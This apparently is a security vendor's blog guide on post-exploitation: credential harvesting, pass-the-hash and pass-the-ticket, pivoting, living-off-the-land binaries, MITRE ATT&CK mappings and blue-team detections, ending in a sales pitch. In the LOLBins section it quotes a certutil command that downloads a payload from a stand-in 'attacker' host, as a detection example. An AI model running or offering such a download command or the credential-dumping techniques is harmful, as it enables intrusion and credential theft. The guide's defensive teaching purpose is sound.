Post-exploitation is everything an authorised attacker or red team does after gaining an initial foothold on one machine: harvesting credentials, moving to other hosts (lateral movement), and staying persistent without tripping alarms. It matters because breach cost and damage scale with how far an intruder travels, not just whether they got in — so detecting movement between systems is often more valuable than blocking the first entry point.
This guide walks through the real techniques used in authorised penetration tests — credential dumping, pass-the-hash, pass-the-ticket, pivoting, and living-off-the-land binaries (LOLBins) — and, more importantly, the blue-team detections and MITRE ATT&CK mappings that Indian enterprise security teams need to catch them.
Why Post-Exploitation Is the Real Battle
Getting initial access — a phished credential, a vulnerable web app, an exposed RDP port — is often the easy part. What an attacker does next determines whether the incident is a contained single-host compromise or a full domain takeover. Ransomware crews, in particular, spend the bulk of their dwell time in post-exploitation: mapping the network, dumping credentials, and moving toward domain controllers and backup systems before ever triggering encryption.
For Indian enterprises running hybrid on-prem Active Directory plus cloud workloads, this phase is where most real damage happens — and where most detection gaps sit, because organisations invest heavily in perimeter controls but far less in monitoring internal, host-to-host activity. CERT-In's advisories repeatedly highlight multi-stage ransomware and intrusion campaigns affecting Indian organisations, underscoring why post-access behaviour, not just perimeter defence, needs sustained attention.
Stage 1: Establishing the Foothold
Once code executes on a target — via phishing payload, exploited vulnerability, or a leaked credential — the operator typically has a low-privilege shell. From here, the immediate goals are situational awareness (who am I, what's on this box, what's on the network) and avoiding detection long enough to escalate.
Red teams commonly enumerate local users, running processes, installed EDR/AV, domain trust relationships, and network shares before taking any noisy action. Rushing straight to credential dumping on a monitored endpoint is how engagements get burned early — and it's exactly the behaviour blue teams should be tuned to catch.
Stage 2: Credential Harvesting
Credentials are the currency of lateral movement. Common authorised techniques include:
- LSASS memory dumping — extracting cached credentials, NTLM hashes, and Kerberos tickets from the Local Security Authority Subsystem Service process (tools like Mimikatz automate this, but EDRs increasingly flag direct LSASS access).
- SAM/NTDS.dit extraction — pulling the local Security Account Manager database or, on a domain controller, the full NTDS.dit Active Directory database for offline hash cracking.
- Kerberoasting — requesting service tickets (TGS) for accounts with Service Principal Names and cracking them offline, since service account passwords are frequently weak or unrotated.
- Browser and credential-manager scraping — saved passwords, session cookies, and stored secrets left behind by users on the compromised host.
lsass.exe outside of expected system processes deserves immediate triage, even if the access appears read-only.Know your vulnerabilities before attackers do
Run a free VAPT scan — takes 5 minutes, no signup required.
Book Your Free ScanStage 3: Lateral Movement Techniques
With credentials in hand, an attacker moves from the initial host toward higher-value targets — file servers, domain controllers, backup infrastructure.
Pass-the-Hash (PtH): Instead of cracking an NTLM hash, the attacker replays it directly in an authentication handshake, authenticating as the user without ever knowing the plaintext password. This works because NTLM authentication only needs the hash, not the password itself.
Pass-the-Ticket (PtT): The Kerberos equivalent — a stolen or forged Ticket Granting Ticket (TGT) or service ticket is injected into a new session, granting access without re-authenticating. "Golden Ticket" and "Silver Ticket" attacks are extreme forms of this, forging tickets using the domain's krbtgt hash for near-unlimited persistence.
Remote service abuse: Legitimate Windows remote administration channels — PsExec, WMI, WinRM, scheduled tasks, and SMB admin shares (C$, ADMIN$) — are used to execute code on remote hosts using the harvested credentials, exactly as a sysadmin would.
Pivoting: Once inside a segment, the attacker uses the compromised host as a relay (SSH tunnels, SOCKS proxies, port forwarding) to reach network segments not directly reachable from their original entry point — a key reason flat, unsegmented networks are so dangerous.
Stage 4: Living Off the Land (LOLBins)
Rather than dropping custom malware that AV/EDR might catch, skilled operators — and real attackers — abuse legitimate, signed system binaries already present on Windows and Linux hosts to execute payloads, move files, and maintain access. Common examples: PowerShell, certutil, regsvr32, mshta, wmic, rundll32, and bitsadmin on Windows; curl, cron, and shell built-ins on Linux.
This "living off the land" approach blends malicious activity into the noise of normal administrative work, which is exactly why behavioural detection — not signature matching — is essential against it.
certutil.exe -urlcache -f http://attacker/payload.exe payload.exe — it's a legitimate, digitally signed Microsoft binary being used exactly as documented. Detection has to be behavioural: unusual parent-child process chains, uncommon command-line arguments, and network connections from binaries that shouldn't be making them.Persistence and C2 (Defensive Framing)
To survive reboots and credential rotations, attackers establish persistence — scheduled tasks, registry Run keys, new service installs, WMI event subscriptions, or backdoored valid accounts. Ongoing control is typically maintained through a command-and-control (C2) channel that beacons out from the compromised environment at intervals, often disguised as legitimate HTTPS traffic to blend with normal outbound web activity.
From a defensive standpoint, the value isn't in cataloguing C2 frameworks — it's in recognising the pattern: regular-interval outbound connections to uncommon or newly registered domains, unusual TLS certificate characteristics, and beaconing that doesn't match any known application behaviour on the host.
MITRE ATT&CK Mapping
MITRE ATT&CK gives blue teams a shared vocabulary for exactly the techniques above, which is essential for building detection coverage and communicating findings from a red-team engagement.
| Tactic | Example Technique | ATT&CK ID |
|---|---|---|
| Credential Access | OS Credential Dumping (LSASS) | T1003.001 |
| Lateral Movement | Pass the Hash | T1550.002 |
| Lateral Movement | Pass the Ticket | T1550.003 |
| Lateral Movement | Remote Services (SMB/WinRM) | T1021 |
| Defense Evasion | System Binary Proxy Execution | T1218 |
| Persistence | Scheduled Task/Job | T1053 |
| Command and Control | Application Layer Protocol | T1071 |
Blue-Team Detection and Containment
Detecting lateral movement requires visibility across identity, endpoint, and network layers simultaneously — no single control catches all of it.
- EDR on every endpoint, not just servers — workstations are the most common pivot points because they're the least monitored.
- Network segmentation so a compromised marketing laptop cannot reach finance databases or domain controllers directly; this alone breaks most lateral-movement chains even after credential theft succeeds.
- Credential Guard and LSA Protection on Windows to make LSASS memory harder to dump, plus disabling NTLM where feasible in favour of Kerberos-only authentication.
- Centralised logging (Windows Event Forwarding, Sysmon, SIEM correlation) covering process creation (Event ID 4688/Sysmon 1), logon events (4624/4625), and Kerberos ticket activity (4768/4769) — most lateral-movement detections are built entirely from these event IDs.
- Honeytokens and decoy accounts that have no legitimate reason to authenticate anywhere — any use is a near-certain compromise indicator.
- Tiered administration model so domain admin credentials are never cached on lower-tier, internet-facing workstations, sharply limiting what pass-the-hash can achieve even after a workstation is popped.
Building This Into Your Security Programme
For Indian enterprises under increasing regulatory scrutiny from DPDP Act 2023 obligations, a lateral-movement incident that reaches systems holding personal data is a reportable breach, not just an IT problem. Regular authorised penetration testing — ideally conducted with a CERT-In empanelled partner for regulated sectors — combined with continuous detection engineering against MITRE ATT&CK is how organisations turn red-team findings into a measurably harder network. Dhisattva AI Pvt Ltd built exactly this kind of testing methodology into its automated and manual assessments, simulating the full post-exploitation chain — credential harvesting, pivoting, and persistence — under strict written authorisation, so defenders see real gaps before an unauthorised actor does. For related context, see the Bachao.AI blog and our guide on DPDP compliance, or book a free VAPT scan to assess your own environment.